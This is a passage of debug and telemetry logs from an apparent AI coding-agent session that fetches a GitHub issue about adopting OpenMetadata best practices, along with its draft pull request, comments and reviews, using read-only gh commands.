\"strict-origin-when-cross-origin\", \"cf-cache-status\": \"DYNAMIC\", \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\", \"x-content-type-options\": \"nosniff\", \"report-to\": \"{\\\"group\\\":\\\"cf-nel\\\",\\\"max_age\\\":604800,\\\"endpoints\\\":[{\\\"url\\\":\\\"https://a.nel.cloudflare.com/report/v4?s=Ktxc5a2Z3v1tuXopcpcbfzDxA%2FVa4fRpDUEuq6IcWC3mGtNPWiQualboYaSd2R7dJWVINsZgdyQKMAZjdXYvkjNbiPJ7gv4sli89d%2FV1eJKXwu%2BRBoFrhnWan4J6\\\"}]}\", \"nel\": \"{\\\"report_to\\\":\\\"cf-nel\\\",\\\"success_fraction\\\":0.01,\\\"max_age\\\":604800}\", \"set-cookie\": \"__cflb=0H28vzvP5FJafnkHxiscCAnG4G7GWLMkq7r1BnSJi7d; HttpOnly; SameSite=None; Secure; Path=/; Expires=Sun, 12 Jul 2026 05:02:36 GMT\", \"cf-ray\": \"a19d273f0f1965d2-FRA\"} version=HTTP/1.1\n[2026-07-12T04:02:36.108Z] [INFO] \n[2026-07-12T04:02:36.152Z] [INFO] 2026-07-12T04:02:36.129558Z  INFO codex_otel.log_only: event.name=\"codex.tool_result\" tool_name=exec_command call_id=exec-cdf5f293-0ec8-4592-aa10-4e610205424c arguments={\"cmd\":\"gh issue view 5 --repo link-foundation/meta-ontology --json number,title,body,state,author,labels,assignees,comments,url\",\"workdir\":\"/tmp/gh-issue-solver-1783828904396\",\"yield_time_ms\":30000,\"max_output_tokens\":30000} duration_ms=964 success=true output=Chunk ID: 1ed867\n[2026-07-12T04:02:36.152Z] [INFO] Wall time: 0.7095 seconds\n[2026-07-12T04:02:36.152Z] [INFO] Process exited with code 0\n[2026-07-12T04:02:36.152Z] [INFO] Original token count: 329\n[2026-07-12T04:02:36.152Z] [INFO] Output:\n[2026-07-12T04:02:36.152Z] [INFO] {\"assignees\":[],\"author\":{\"id\":\"MDQ6VXNlcjE0MzE5MDQ=\",\"is_bot\":false,\"login\":\"konard\",\"name\":\"Konstantin Diachenko\"},\"body\":\"We need to collect data related about the issue to this repository, make sure we compile that data to `./docs/case-studies/issue-{id}` folder, and use it to do deep case study analysis (also make sure to search online for additional facts and data), list of each and all requirements from the issue, and propose possible solutions and solution plans for each requirement (we should also check known existing components/libraries, that solve similar problem or can help in solutions).\\n\\nPlease plan and execute everything in this single pull request, you have unlimited time and context, as context auto-compacts and you can continue indefinitely, until it is each and every requirement fully addressed, and everything is totally done.\",\"comments\":[],\"labels\":[{\"id\":\"LA_kwDOSNlfVs8AAAACg6iINA\",\"name\":\"documentation\",\"description\":\"Improvements or additions to documentation\",\"color\":\"0075ca\"},{\"id\":\"LA_kwDOSNlfVs8AAAACg6iITw\",\"name\":\"enhancement\",\"description\":\"New feature or request\",\"color\":\"a2eeef\"}],\"number\":5,\"state\":\"OPEN\",\"title\":\"We should use best practices from https://github.com/open-metadata/OpenMetadata\",\"url\":\"https://github.com/link-foundation/meta-ontology/issues/5\"}\n[2026-07-12T04:02:36.152Z] [INFO]  mcp_server= mcp_server_origin= event.timestamp=2026-07-12T04:02:36.129Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:02:36.152Z] [INFO] \n[2026-07-12T04:02:36.185Z] [INFO] 2026-07-12T04:02:36.130009Z  INFO codex_otel.trace_safe: event.name=\"codex.tool_result\" tool_name=exec_command call_id=exec-cdf5f293-0ec8-4592-aa10-4e610205424c duration_ms=964 success=true arguments_length=225 output_length=1420 output_line_count=6 tool_origin=\"builtin\" mcp_tool=false event.timestamp=2026-07-12T04:02:36.130Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:02:36.185Z] [INFO] \n[2026-07-12T04:02:36.208Z] [INFO] 2026-07-12T04:02:36.206220Z  INFO codex_otel.log_only: event.name=\"codex.tool_result\" tool_name=exec_command call_id=exec-8df2004e-865f-43f6-8266-118bbff060a3 arguments={\"cmd\":\"gh api repos/link-foundation/meta-ontology/pulls/6/reviews --paginate\",\"workdir\":\"/tmp/gh-issue-solver-1783828904396\",\"yield_time_ms\":30000,\"max_output_tokens\":30000} duration_ms=880 success=true output=Chunk ID: de0e15\n[2026-07-12T04:02:36.208Z] [INFO] Wall time: 0.6139 seconds\n[2026-07-12T04:02:36.208Z] [INFO] Process exited with code 0\n[2026-07-12T04:02:36.208Z] [INFO] Original token count: 1\n[2026-07-12T04:02:36.208Z] [INFO] Output:\n[2026-07-12T04:02:36.208Z] [INFO] [] mcp_server= mcp_server_origin= event.timestamp=2026-07-12T04:02:36.206Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:02:36.208Z] [INFO] 2026-07-12T04:02:36.206270Z  INFO codex_otel.trace_safe: event.name=\"codex.tool_result\" tool_name=exec_command call_id=exec-8df2004e-865f-43f6-8266-118bbff060a3 duration_ms=880 success=true arguments_length=174 output_length=104 output_line_count=6 tool_origin=\"builtin\" mcp_tool=false event.timestamp=2026-07-12T04:02:36.206Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:02:36.208Z] [INFO] \n[2026-07-12T04:02:36.229Z] [INFO] {\"type\":\"item.completed\",\"item\":{\"id\":\"item_10\",\"type\":\"command_execution\",\"command\":\"/bin/bash -lc 'gh api repos/link-foundation/meta-ontology/pulls/6/comments --paginate'\",\"aggregated_output\":\"[]\",\"exit_code\":0,\"status\":\"completed\"}}\n[2026-07-12T04:02:36.229Z] [INFO] \n[2026-07-12T04:02:36.231Z] [INFO] 2026-07-12T04:02:36.217631Z  INFO codex_otel.log_only: event.name=\"codex.tool_result\" tool_name=exec_command call_id=exec-f00aa585-5d64-49b0-9616-1fb5707a0d2c arguments={\"cmd\":\"gh api repos/link-foundation/meta-ontology/issues/6/comments --paginate\",\"workdir\":\"/tmp/gh-issue-solver-1783828904396\",\"yield_time_ms\":30000,\"max_output_tokens\":30000} duration_ms=901 success=true output=Chunk ID: caf0b0\n[2026-07-12T04:02:36.231Z] [INFO] Wall time: 0.6302 seconds\n[2026-07-12T04:02:36.231Z] [INFO] Process exited with code 0\n[2026-07-12T04:02:36.231Z] [INFO] Original token count: 1\n[2026-07-12T04:02:36.231Z] [INFO] Output:\n[2026-07-12T04:02:36.231Z] [INFO] [] mcp_server= mcp_server_origin= event.timestamp=2026-07-12T04:02:36.217Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:02:36.231Z] [INFO] 2026-07-12T04:02:36.217753Z  INFO codex_otel.trace_safe: event.name=\"codex.tool_result\" tool_name=exec_command call_id=exec-f00aa585-5d64-49b0-9616-1fb5707a0d2c duration_ms=901 success=true arguments_length=176 output_length=104 output_line_count=6 tool_origin=\"builtin\" mcp_tool=false event.timestamp=2026-07-12T04:02:36.217Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:02:36.231Z] [INFO] \n[2026-07-12T04:02:36.235Z] [INFO] {\"type\":\"item.completed\",\"item\":{\"id\":\"item_4\",\"type\":\"command_execution\",\"command\":\"/bin/bash -lc 'gh issue view 5 --repo link-foundation/meta-ontology --json number,title,body,state,author,labels,assignees,comments,url'\",\"aggregated_output\":\"{\\\"assignees\\\":[],\\\"author\\\":{\\\"id\\\":\\\"MDQ6VXNlcjE0MzE5MDQ=\\\",\\\"is_bot\\\":false,\\\"login\\\":\\\"konard\\\",\\\"name\\\":\\\"Konstantin Diachenko\\\"},\\\"body\\\":\\\"We need to collect data related about the issue to this repository, make sure we compile that data to `./docs/case-studies/issue-{id}` folder, and use it to do deep case study analysis (also make sure to search online for additional facts and data), list of each and all requirements from the issue, and propose possible solutions and solution plans for each requirement (we should also check known existing components/libraries, that solve similar problem or can help in solutions).\\\\n\\\\nPlease plan and execute everything in this single pull request, you have unlimited time and context, as context auto-compacts and you can continue indefinitely, until it is each and every requirement fully addressed, and everything is totally done.\\\",\\\"comments\\\":[],\\\"labels\\\":[{\\\"id\\\":\\\"LA_kwDOSNlfVs8AAAACg6iINA\\\",\\\"name\\\":\\\"documentation\\\",\\\"description\\\":\\\"Improvements or additions to documentation\\\",\\\"color\\\":\\\"0075ca\\\"},{\\\"id\\\":\\\"LA_kwDOSNlfVs8AAAACg6iITw\\\",\\\"name\\\":\\\"enhancement\\\",\\\"description\\\":\\\"New feature or request\\\",\\\"color\\\":\\\"a2eeef\\\"}],\\\"number\\\":5,\\\"state\\\":\\\"OPEN\\\",\\\"title\\\":\\\"We should use best practices from https://github.com/open-metadata/OpenMetadata\\\",\\\"url\\\":\\\"https://github.com/link-foundation/meta-ontology/issues/5\\\"}\\n\",\"exit_code\":0,\"status\":\"completed\"}}\n[2026-07-12T04:02:36.235Z] [INFO] \n[2026-07-12T04:02:36.240Z] [INFO] 2026-07-12T04:02:36.240355Z  INFO codex_otel.log_only: event.name=\"codex.tool_result\" tool_name=exec_command call_id=exec-958e4ced-5c59-4c9e-9db0-d359d7c09411 arguments={\"cmd\":\"gh api repos/link-foundation/meta-ontology/issues/5/comments --paginate\",\"workdir\":\"/tmp/gh-issue-solver-1783828904396\",\"yield_time_ms\":30000,\"max_output_tokens\":30000} duration_ms=1068 success=true output=Chunk ID: dd2a2b\n[2026-07-12T04:02:36.240Z] [INFO] Wall time: 0.8180 seconds\n[2026-07-12T04:02:36.240Z] [INFO] Process exited with code 0\n[2026-07-12T04:02:36.240Z] [INFO] Original token count: 1\n[2026-07-12T04:02:36.240Z] [INFO] Output:\n[2026-07-12T04:02:36.240Z] [INFO] [] mcp_server= mcp_server_origin= event.timestamp=2026-07-12T04:02:36.240Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:02:36.240Z] [INFO] \n[2026-07-12T04:02:36.242Z] [INFO] 2026-07-12T04:02:36.241404Z  INFO codex_otel.trace_safe: event.name=\"codex.tool_result\" tool_name=exec_command call_id=exec-958e4ced-5c59-4c9e-9db0-d359d7c09411 duration_ms=1068 success=true arguments_length=176 output_length=104 output_line_count=6 tool_origin=\"builtin\" mcp_tool=false event.timestamp=2026-07-12T04:02:36.241Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:02:36.242Z] [INFO] \n[2026-07-12T04:02:36.279Z] [INFO] 2026-07-12T04:02:36.278565Z  INFO codex_http_client::custom_ca: using system root certificates because no CA override environment variable was selected codex_ca_certificate_configured=false ssl_cert_file_configured=false\n[2026-07-12T04:02:36.279Z] [INFO] \n[2026-07-12T04:02:36.295Z] [INFO] 2026-07-12T04:02:36.295122Z DEBUG reqwest::connect: starting new connection: https://chatgpt.com/\n[2026-07-12T04:02:36.295Z] [INFO] \n[2026-07-12T04:02:36.303Z] [INFO] 2026-07-12T04:02:36.301998Z DEBUG hyper_util::client::legacy::connect::http: connecting to 172.64.155.209:443\n[2026-07-12T04:02:36.303Z] [INFO] \n[2026-07-12T04:02:36.311Z] [INFO] 2026-07-12T04:02:36.306331Z DEBUG hyper_util::client::legacy::connect::http: connected to 172.64.155.209:443\n[2026-07-12T04:02:36.311Z] [INFO] \n[2026-07-12T04:02:36.313Z] [INFO] {\"type\":\"item.completed\",\"item\":{\"id\":\"item_9\",\"type\":\"command_execution\",\"command\":\"/bin/bash -lc 'gh api repos/link-foundation/meta-ontology/pulls/6/reviews --paginate'\",\"aggregated_output\":\"[]\",\"exit_code\":0,\"status\":\"completed\"}}\n[2026-07-12T04:02:36.313Z] [INFO] \n[2026-07-12T04:02:36.329Z] [INFO] {\"type\":\"item.completed\",\"item\":{\"id\":\"item_8\",\"type\":\"command_execution\",\"command\":\"/bin/bash -lc 'gh api repos/link-foundation/meta-ontology/issues/6/comments --paginate'\",\"aggregated_output\":\"[]\",\"exit_code\":0,\"status\":\"completed\"}}\n[2026-07-12T04:02:36.329Z] [INFO] \n[2026-07-12T04:02:36.341Z] [INFO] 2026-07-12T04:02:36.338573Z  INFO codex_otel.log_only: event.name=\"codex.tool_result\" tool_name=exec_command call_id=exec-6a99f2e8-ef70-439e-a829-354a0c53e468 arguments={\"cmd\":\"gh pr view 6 --repo link-foundation/meta-ontology --json number,title,body,state,isDraft,author,baseRefName,headRefName,mergeable,mergeStateStatus,statusCheckRollup,commits,files,url\",\"workdir\":\"/tmp/gh-issue-solver-1783828904396\",\"yield_time_ms\":30000,\"max_output_tokens\":30000} duration_ms=1097 success=true output=Chunk ID: 1efcc0\n[2026-07-12T04:02:36.341Z] [INFO] Wall time: 0.7667 seconds\n[2026-07-12T04:02:36.341Z] [INFO] Process exited with code 0\n[2026-07-12T04:02:36.341Z] [INFO] Original token count: 589\n[2026-07-12T04:02:36.341Z] [INFO] Output:\n[2026-07-12T04:02:36.341Z] [INFO] {\"author\":{\"id\":\"MDQ6VXNlcjE0MzE5MDQ=\",\"is_bot\":false,\"login\":\"konard\",\"name\":\"Konstantin Diachenko\"},\"baseRefName\":\"main\",\"body\":\"## \ud83e\udd16 AI-Powered Solution Draft\\n\\nThis pull request is being automatically generated to solve issue #5.\\n\\n### \ud83d\udccb Issue Reference\\nFixes #5\\n\\n### \ud83d\udea7 Status\\n**Work in Progress** - The AI assistant is currently analyzing and implementing the solution draft.\\n\\n### \ud83d\udcdd Implementation Details\\n_Details will be added as the solution draft is developed..._\\n\\n---\\n*This PR was created automatically by the AI issue solver*\",\"commits\":[{\"authoredDate\":\"2026-07-12T04:01:46Z\",\"authors\":[{\"email\":\"drakonard@gmail.com\",\"id\":\"MDQ6VXNlcjE0MzE5MDQ=\",\"login\":\"konard\",\"name\":\"konard\"}],\"committedDate\":\"2026-07-12T04:01:46Z\",\"messageBody\":\"Adding .gitkeep for PR creation (default mode).\\nThis file will be removed when the task is complete.\\n\\nIssue: https://github.com/link-foundation/meta-ontology/issues/5\",\"messageHeadline\":\"Initial commit with task details\",\"oid\":\"e4a**********************************43d\"}],\"files\":[{\"path\":\".gitkeep\",\"additions\":1,\"deletions\":0,\"changeType\":\"ADDED\"}],\"headRefName\":\"issue-5-e2602184e2c5\",\"isDraft\":true,\"mergeStateStatus\":\"UNSTABLE\",\"mergeable\":\"MERGEABLE\",\"number\":6,\"state\":\"OPEN\",\"statusCheckRollup\":[{\"__typename\":\"CheckRun\",\"completedAt\":\"0001-01-01T00:00:00Z\",\"conclusion\":\"\",\"detailsUrl\":\"https://github.com/link-foundation/meta-ontology/actions/runs/29179103369/job/86613481865\",\"name\":\"Detect Changes\",\"startedAt\":\"2026-07-12T04:02:02Z\",\"status\":\"IN_PROGRESS\",\"workflowName\":\"CI/CD Pipeline\"},{\"__typename\":\"CheckRun\",\"completedAt\":\"0001-01-01T00:00:00Z\",\"conclusion\":\"\",\"detailsUrl\":\"https://github.com/link-foundation/meta-ontology/actions/runs/29179103369/job/86613481872\",\"name\":\"Version Modification Check\",\"startedAt\":\"2026-07-12T04:02:01Z\",\"status\":\"IN_PROGRESS\",\"workflowName\":\"CI/CD Pipeline\"},{\"__typename\":\"CheckRun\",\"completedAt\":\"2026-07-12T04:01:5\n[2026-07-12T04:02:36.341Z] [INFO] [... telemetry preview truncated ...] mcp_server= mcp_server_origin= event.timestamp=2026-07-12T04:02:36.338Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:02:36.341Z] [INFO] 2026-07-12T04:02:36.338644Z  INFO codex_otel.trace_safe: event.name=\"codex.tool_result\" tool_name=exec_command call_id=exec-6a99f2e8-ef70-439e-a829-354a0c53e468 duration_ms=1097 success=true arguments_length=287 output_length=2086 output_line_count=7 tool_origin=\"builtin\" mcp_tool=false event.timestamp=2026-07-12T04:02:36.338Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:02:36.341Z] [INFO] \n[2026-07-12T04:02:36.352Z] [INFO] 2026-07-12T04:02:36.351261Z  INFO codex_otel.log_only: event.name=\"codex.tool_result\" tool_name=exec call_id=call_0Pxj9KE5sHlOquC086wVDtFa arguments=const cmds = [\n[2026-07-12T04:02:36.352Z] [INFO]   [\"issue\",\"gh issue view 5 --repo link-foundation/meta-ontology --json number,title,body,state,author,labels,assignees,comments,url\"],\n[2026-07-12T04:02:36.352Z] [INFO]   [\"issue_comments\",\"gh api repos/link-foundation/meta-ontology/issues/5/comments --paginate\"],\n[2026-07-12T04:02:36.352Z] [INFO]   [\"pr\",\"gh pr view 6 --repo link-foundation/meta-ontology --json number,title,body,state,isDraft,author,baseRefName,headRefName,mergeable,mergeStateStatus,statusCheckRollup,commits,files,url\"],\n[2026-07-12T04:02:36.352Z] [INFO]   [\"pr_inline\",\"gh api repos/link-foundation/meta-ontology/pulls/6/comments --paginate\"],\n[2026-07-12T04:02:36.352Z] [INFO]   [\"pr_conversation\",\"gh api repos/link-foundation/meta-ontology/issues/6/comments --paginate\"],\n[2026-07-12T04:02:36.352Z] [INFO]   [\"pr_reviews\",\"gh api repos/link-foundation/meta-ontology/pulls/6/reviews --paginate\"],\n[2026-07-12T04:02:36.352Z] [INFO]   [\"repo\",\"git remote -v && git log --oneline --decorate -12 && sed -n '1,240p' CONTRIBUTING.md && sed -n '1,220p' README.md\"]\n[2026-07-12T04:02:36.352Z] [INFO] ];\n[2026-07-12T04:02:36.352Z] [INFO] const results = await Promise.all(cmds.map(async ([name,cmd]) => [name, await tools.exec_command({cmd,workdir:\"/tmp/gh-issue-solver-1783828904396\",yield_time_ms:30000,max_output_tokens:30000})]));\n[2026-07-12T04:02:36.352Z] [INFO] for (const [name,r] of results) { text(`===== ${name} =====\\n${r.output}`); }\n[2026-07-12T04:02:36.352Z] [INFO]  duration_ms=1280 success=true output=Script completed\n[2026-07-12T04:02:36.352Z] [INFO] Wall time 1.3 seconds\n[2026-07-12T04:02:36.352Z] [INFO] Output:\n[2026-07-12T04:02:36.352Z] [INFO] \n[2026-07-12T04:02:36.352Z] [INFO] ===== issue =====\n[2026-07-12T04:02:36.352Z] [INFO] {\"assignees\":[],\"author\":{\"id\":\"MDQ6VXNlcjE0MzE5MDQ=\",\"is_bot\":false,\"login\":\"konard\",\"name\":\"Konstantin Diachenko\"},\"body\":\"We need to collect data related about the issue to this repository, make sure we compile that data to `./docs/case-studies/issue-{id}` folder, and use it to do deep case study analysis (also make sure to search online for additional facts and data), list of each and all requirements from the issue, and propose possible solutions and solution plans for each requirement (we should also check known existing components/libraries, that solve similar problem or can help in solutions).\\n\\nPlease plan and execute everything in this single pull request, you have unlimited time and context, as context auto-compacts and you can continue indefinitely, until it is each and every requirement fully addressed, and everything is totally done.\",\"comments\":[],\"labels\":[{\"id\":\"LA_kwDOSNlfVs8AAAACg6iINA\",\"name\":\"documentation\",\"description\":\"Improvements or additions to documentation\",\"color\":\"0075ca\"},{\"id\":\"LA_kwDOSNlfVs8AAAACg6iITw\",\"name\":\"enhancement\",\"description\":\"New feature or request\",\"color\":\"a2eeef\"}],\"number\":5,\"state\":\"OPEN\",\"title\":\"We should use best practices from https://github.com/open-metadata/OpenMetadata\",\"url\":\"https://github.com/link-foundation/meta-ontology/issues/5\"}\n[2026-07-12T04:02:36.352Z] [INFO] \n[2026-07-12T04:02:36.352Z] [INFO] ===== issue_comments =====\n[2026-07-12T04:02:36.352Z] [INFO] []\n[2026-07-12T04:02:36.352Z] [INFO] ===== pr =====\n[2026-07-12T04:02:36.352Z] [INFO] {\"author\":{\"id\":\"MDQ6VXNlcjE0MzE5MDQ=\",\"is_bot\":false,\"login\":\"konard\",\"name\":\"Konstantin Diachenko\"},\"baseRefName\":\"main\",\"body\":\"## \ud83e\udd16 AI-Powered Solution Draft\\n\\nThis pull request is being automatically generated to solve issue #5.\\n\\n### \ud83d\udccb Issue Reference\\nFixes #5\\n\\n### \ud83d\udea7 Status\\n**Work in Progress** - The AI assistant is currently analyzing and implementing the solution draft.\\n\\n### \ud83d\udcdd Implementation Details\\n_Details will be added as the solution draft is developed..._\\n\\n---\\n*This PR was created automatically by the AI issue solver*\",\"commits\":[{\"authoredDate\":\"2026-07-12T04:01:46Z\",\"authors\n[2026-07-12T04:02:36.352Z] [INFO] [... telemetry preview truncated ...] mcp_server= mcp_server_origin= event.timestamp=2026-07-12T04:02:36.351Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:02:36.352Z] [INFO] 2026-07-12T04:02:36.351316Z  INFO codex_otel.trace_safe: event.name=\"codex.tool_result\" tool_name=exec call_id=call_0Pxj9KE5sHlOquC086wVDtFa duration_ms=1280 success=true arguments_length=1124 output_length=2086 output_line_count=12 tool_origin=\"builtin\" mcp_tool=false event.timestamp=2026-07-12T04:02:36.351Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:02:36.352Z] [INFO] \n[2026-07-12T04:02:36.378Z] [INFO] {\"type\":\"item.completed\",\"item\":{\"id\":\"item_5\",\"type\":\"command_execution\",\"command\":\"/bin/bash -lc 'gh api repos/link-foundation/meta-ontology/issues/5/comments --paginate'\",\"aggregated_output\":\"[]\",\"exit_code\":0,\"status\":\"completed\"}}\n[2026-07-12T04:02:36.378Z] [INFO] \n[2026-07-12T04:02:36.382Z] [INFO] 2026-07-12T04:02:36.352388Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::tools::parallel: tool call completed event.name=\"codex.tool_call\" trace_id= conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn_id=019f547d-6ea8-7232-8540-37894db8bb13 tool_name=exec call_id=call_0Pxj9KE5sHlOquC086wVDtFa tool_source=\"direct\" execution_started=true dispatch_duration_ms=0 handler_duration_ms=1282 total_duration_ms=1282\n[2026-07-12T04:02:36.382Z] [INFO] \n[2026-07-12T04:02:36.395Z] [INFO] 2026-07-12T04:02:36.394647Z DEBUG hyper_util::client::legacy::pool: pooling idle connection for (\"https\", chatgpt.com)\n[2026-07-12T04:02:36.395Z] [INFO] 2026-07-12T04:02:36.394738Z DEBUG codex_http_client::default_client: Request completed method=POST url=https://chatgpt.com/backend-api/codex/analytics-events/events status=200 OK headers={\"date\": \"Sun, 12 Jul 2026 04:02:36 GMT\", \"content-type\": \"application/json\", \"content-length\": \"88\", \"connection\": \"keep-alive\", \"server\": \"cloudflare\", \"cross-origin-opener-policy\": \"same-origin-allow-popups\", \"x-oai-request-id\": \"ffacf70d-3311-4453-a5d0-217bb0f88cee\", \"x-openai-proxy-wasm\": \"v0.1\", \"referrer-policy\": \"strict-origin-when-cross-origin\", \"cf-cache-status\": \"DYNAMIC\", \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\", \"x-content-type-options\": \"nosniff\", \"report-to\": \"{\\\"group\\\":\\\"cf-nel\\\",\\\"max_age\\\":604800,\\\"endpoints\\\":[{\\\"url\\\":\\\"https://a.nel.cloudflare.com/report/v4?s=8jWWA1V%2BQkYlWdscz68hFmPStvbRkcp5i0tg%2Bu%2BYGO5vfnIJ2DN%2B0gqRvpIh%2F46tPzqPmPdFJKceXJGoiCnUBYoBoeerzCl2lSQ8Jfmyh98T2DYTqaB68ZJwv0fI\\\"}]}\", \"nel\": \"{\\\"report_to\\\":\\\"cf-nel\\\",\\\"success_fraction\\\":0.01,\\\"max_age\\\":604800}\", \"cf-ray\": \"a19d274109e6dc84-FRA\"} version=HTTP/1.1\n[2026-07-12T04:02:36.395Z] [INFO] \n[2026-07-12T04:02:36.425Z] [INFO] 2026-07-12T04:02:36.422617Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: feedback_tags: model=\"gpt-5.6-sol\" approval_policy=Never sandbox_policy=DangerFullAccess effort=Some(Medium) auth_mode=Some(Chatgpt) features=[ShellTool, CodexHooks, CodeModeHost, UnifiedExec, TerminalResizeReflow, ShellSnapshot, EnableRequestCompression, Collab, Apps, ToolSearchAlwaysDeferMcpTools, ToolSuggest, Plugins, InAppBrowser, BrowserUse, BrowserUseFullCdpAccess, BrowserUseExternal, ComputerUse, RemotePlugin, PluginSharing, ImageGeneration, ResizeAllImages, SkillMcpDependencyInstall, MentionsV2, GuardianApproval, Goals, ToolCallMcpElicitation, AuthElicitation, Personality, FastMode, RemoteCompactionV2, WorkspaceDependencies, Sqlite, Steer, CollaborationModes, TuiAppServer]\n[2026-07-12T04:02:36.425Z] [INFO] \n[2026-07-12T04:02:36.430Z] [INFO] 2026-07-12T04:02:36.428623Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}:model_client.stream_responses_websocket{model=gpt-5.6-sol wire_api=responses transport=\"responses_websocket\" api.path=\"responses\" turn.has_metadata_header=true websocket.warmup=false}:responses_websocket.stream_request{transport=\"responses_websocket\" api.path=\"responses\"}: codex_otel.log_only: event.name=\"codex.websocket_request\" duration_ms=1 success=\"true\" auth.env_openai_api_key_present=false auth.env_codex_api_key_present=false auth.env_codex_api_key_enabled=true auth.env_refresh_token_url_override_present=false auth.connection_reused=true event.timestamp=2026-07-12T04:02:36.428Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:02:36.430Z] [INFO] \n[2026-07-12T04:02:36.435Z] [INFO] 2026-07-12T04:02:36.432166Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}:model_client.stream_responses_websocket{model=gpt-5.6-sol wire_api=responses transport=\"responses_websocket\" api.path=\"responses\" turn.has_metadata_header=true websocket.warmup=false}:responses_websocket.stream_request{transport=\"responses_websocket\" api.path=\"responses\"}: codex_otel.trace_safe: event.name=\"codex.websocket_request\" duration_ms=1 success=\"true\" auth.env_openai_api_key_present=false auth.env_codex_api_key_present=false auth.env_codex_api_key_enabled=true auth.env_refresh_token_url_override_present=false auth.connection_reused=true 